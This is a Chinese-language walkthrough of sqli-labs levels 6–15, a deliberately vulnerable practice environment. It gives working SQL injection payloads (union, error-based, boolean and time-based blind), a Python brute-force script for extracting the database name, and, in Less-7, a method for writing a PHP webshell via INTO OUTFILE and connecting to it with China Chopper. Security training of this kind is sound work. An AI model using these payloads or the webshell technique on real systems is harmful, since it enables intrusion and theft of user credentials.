Sqli-lab教程-史上最全详解(1-22通关)_sqlilabs

简介: Sqli-lab教程-史上最全详解(1-22通关)_sqlilabs

select ascii(substr(database(),1,1)) < 100;

所以

?id=1" and ascii(substr(database(),1,1))>114 --+

?id=1" and (select ascii(substr(database(),1,1))) >114 --+也行

所以ascii码为115,第一位字母为s

用脚本跑

import requests as req
url = ‘http://www.wangehacker.cn/sqli-labs/Less-6/?id=1’
res = ‘’
select = “select database()”
for i in range(1, 100):
for ascii in range(32, 128):
id = ‘1" and ascii(substr(({}),{},1))={}%23’.format(select, i, ascii)
r = req.get(url+id)
print(url+id)
if “You are in” in r.text:
res += chr(ascii)
print(res)
break
if ascii == 127:
print(‘{}’.format(res))
exit(0)

得到库名:security

③走流程

只要修改脚本中的select语句即可

select group_concat(table_name) from information_schema.tables where table_schema=‘security’

select group_concat(column_name) from information_schema.columns where table_schema=‘security’

select group_concat(username,password)from users

Less-7 文件导出

文件导出的方式进行注入

https://www.cnblogs.com/c1047509362/p/12356354.html

①判断闭合

手工测试?id=1’)) and 1=1–+成功

所以是’))闭合

②猜列数

?id=1’)) order by 3–+ 列数为3

③导入一句话木马

?id=-1’)) union select 1,2,‘’ into outfile “C:\ruanjian\phpstudy_pro\WWW\sqli-labs-master\Less-7\test.php” --+

虽然提示报错,但是我们发现已经存在文件test.php了

④连菜刀

中国菜刀进行连接,输入我们写的文件路径,密码是wlw

成功进入

Less-8 布尔盲注/时间盲注

'闭合

这里讲时间盲注(报错注入见Less-5,布尔盲注见Less-6,时间盲注见Less-8)

①判断是否有延时

id=1’ and sleep(5) --+

发现确实有延时,可以用时间盲注

② 爆库长

?id=1’ and if(length(database())=8,sleep(5),null)–+

③爆库名

从左边第一个字母开始,判断库名第一个字母是不是s

?id=1’ and if(left(database(),1)=‘s’,sleep(5),null)–+

?id=1’ and if(left(database(),2)=‘se’,sleep(5),null)–+

security

或者: ?id=1’ and if((select (substr(database(),1,1))=“s”) ,sleep(5), null)–+

③爆表名

?id=1’ and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)=‘e’ ,sleep(5),null)–+

?id=1’ and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),2)=‘em’ ,sleep(5),null)–+

?id=1’ and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),3)=‘ema’ ,sleep(5),null)–+

database() 如果不想写,可以写security的hex值

表名:emails

或者:

id=1’ and if((select substr(table_name,1,1) from information_schema.tables where table_schema=database() limit 0,1)=‘e’,sleep(5),null) --+

④爆列名

?id=1’ and if(left((select column_name from information_schema.columns where table_name=‘users’ limit *,1),*)=‘password’ ,sleep(5),null)–+

其中*需要逐个尝试

Less-9 时间盲注

'闭合

见Less-8

经过多次尝试,返回值均为You are in …

没有显示位,错误也不会告诉你

所以只能时间盲注

Less-10 时间盲注

同Less-9,"闭合

Less-11 post注入

前十关使用的是get请求,参数都体现在url上面

而从十一关开始是post请求,参数是在表单里面

我们可以直接在输入框进行注入或者bp抓包

①BP抓包,send to repater

②判断闭合方式

admin’报错,admin’ #不报错,所以是’闭合

③判断回显位置

’ union select 1,2 #

④爆库名

’ union select 1,database() #

⑤爆表名

’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

表名:emails,referers,uagents,users

⑤爆列名

’ union select 1,group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’ #

列名:id,username,password

⑥爆数据

’ union select 1,group_concat(username,password) from users #

Less-12 post注入

")闭合 有回显

同Less-11

Less-13 post盲注

')闭合 无回显

①猜闭合方式

admin’

报错near ‘111’) LIMIT 0,1’ at line 1

说明是’)闭合

输入’) # 或’) or 1=1 #

却发现,页面没有回显,考虑使用报错注入、布尔盲注或者时间盲注

这里讲报错盲注,(布尔盲注不知道为什么不行…时间盲注见Less-15)

sqli-labs第十三和十四关(post请求-报错盲注)_sql注入第13关_mmmmcq的博客-CSDN博客_sql注入第13关_mmmmcq的博客-CSDN博客")

③爆字段数

1’) order by 3#报错

1’) order by 2#无回显

所以字段数为2

④爆库名

1’) union select 1,updatexml(1,concat(0x7e,database(),0x7e),1) #

库名:security

⑤爆表名

1’) union select 1,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = ‘security’),0x7e),1)#

表名:emails,referers,uagents,users

⑥爆列名

1’) union select 1,updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = ‘security’ and table_name=‘users’),0x7e),1)#

列名:id,username,password

⑦爆数据

1’) union select 1,updatexml(1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1)#

Less-14 post盲注

同Less-13

admin"报错,admin"#无回显

所以是"闭合

布尔盲注好像不能用

可以用时间盲注见Less-15

Less-15 时间盲注

'闭合
①测试
用admin’、admin" 、admin’ and 1=2# 进行测试,发现都不返回错误信息
②判断是否有延时
admin’ and sleep(5) #
发现确实有延时,可以用时间盲注
③爆库长
admin’ and if(length(database())=8,sleep(5),null) #
④爆库名
从左边第一个字母开始,判断库名第一个字母是不是s
admin’ and if(left(database(),1)=‘s’,sleep(5),null) #
admin’ and if(left(database(),2)=‘se’,sleep(5),null) #
security
或者admin’ and if(ascii(substr(database(),0,1))=115,1,sleep(5))#
或者admin’ and if((select (substr(database(),1,1))=“s”) ,sleep(5), null)#
⑤爆表名
admin’ and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)=‘e’ ,sleep(5),null)#
admin’ and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),2)=‘em’ ,sleep(5),null)#
admin’ and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),3)=‘ema’ ,sleep(5),null)#


相关文章
|
1天前
|
CDN
惊呆了、老铁。CSDN竟然有GitHub的加速功能????
这篇文章介绍了几种加速访问GitHub的方法,包括使用镜像网站、代理网站下载、利用CDN加速以及转入Gitee平台进行加速。作者建议,对于较大的项目推荐使用代理网站或Gitee下载,而对于较小的项目,使用CDN加速即可满足需求。
惊呆了、老铁。CSDN竟然有GitHub的加速功能????
|
14天前
|
安全 网络安全
GitHub星标4000!清华大牛的CTF竞赛入门指南,真的太香了!
想进入网络安全行业、实现从学校到职场的跨越,参加CTF竞赛是很好的成长途径。 通俗而言,CTF是模拟“黑客”所使用的技术、工具、方法等手段发展出来的网络安全竞赛,有了手段之后需要的就是经验与黑客感(HackorFeel)。 CTF赛题涉及的领域很广,市面上也早有在知识广度上均有所覆盖的CTF书籍,但没有深入单一领域的内容,尤其是Pwn方向的。 Pwn是网络安全攻防最有魅力的部分,对于原教旨攻防人士来说,Pwm才是原汁原味的技术体现。二进制Pwn一直是CTF比赛的热点和难点。
|
2月前
|
数据采集 Python
半小时速通Python爬虫!GitHub开源的Python爬虫入门教程
今天给小伙伴们带来了一篇详细介绍 Python 爬虫入门的教程,从实战出发,适合初学者。 小伙伴们只需在阅读过程紧跟文章思路,理清相应的实现代码,30 分钟即可学会编写简单的 Python 爬虫。
|
3月前
|
安全 测试技术 数据库
Sqli-lab教程-史上最全详解(1-22通关)_sqlilabs(1)
Sqli-lab教程-史上最全详解(1-22通关)_sqlilabs(1)
|
3月前
|
开发工具 数据库 git
通俗易懂!看漫画学Python入门教程(全彩版)Git首发破万Star
很多编程语言书读起来都略显晦涩,让不少读者望而却步,很难坚持读完。关老师的新书另辟蹊径,以漫画形式切入,生动有趣,把复杂的技术点和编程知识讲解得通俗易懂真正体现了一图胜干言的道理。而且每章结束时都有“练一练”环节,能够帮助读者夯实基础、锻炼技能。不得不说,这是一本Python入门和进阶佳作。
|
3月前
|
安全 测试技术 PHP
如何搭建 sqli-labs 靶场保姆级教程(附链接)
如何搭建 sqli-labs 靶场保姆级教程(附链接)
|
3月前
|
存储 编译器 测试技术
【3w字吐血总结 | 新手必看】全网最详细Go笔记
【3w字吐血总结 | 新手必看】全网最详细Go笔记
70 0
|
3月前
|
SQL 安全 数据库
SQLI-Labs通关笔记(1-5)
SQLI-Labs通关笔记(1-5)
52 0
|
8月前
|
算法 Java 程序员
GitHub上标星80k的算法笔记,是有什么与众不同的魅力?
程序员到底需不需要学习算法?这个问题被争论的次数绝对不亚于“Java是不是最好的语言”“VIM和Emacs谁是最好的编辑器”“程序员是不是需要学习数学”。为了避免陷入这样的争论里,我们先对“算法”一词做个转换定义,什么是算法?
|
9月前
|
监控 Dubbo NoSQL
火速收藏!HUAWEI神级 SpringBoot 进阶笔记,竟一夜上到Github榜一
经过几年的发展,Spring Boot几乎已成为Java企业级开发的标准框架,它为开发人员提供了极其方便的项目框架搭建、软件集成功能,极大地提升了开发人员的工作效率,减少了企业的运营成本。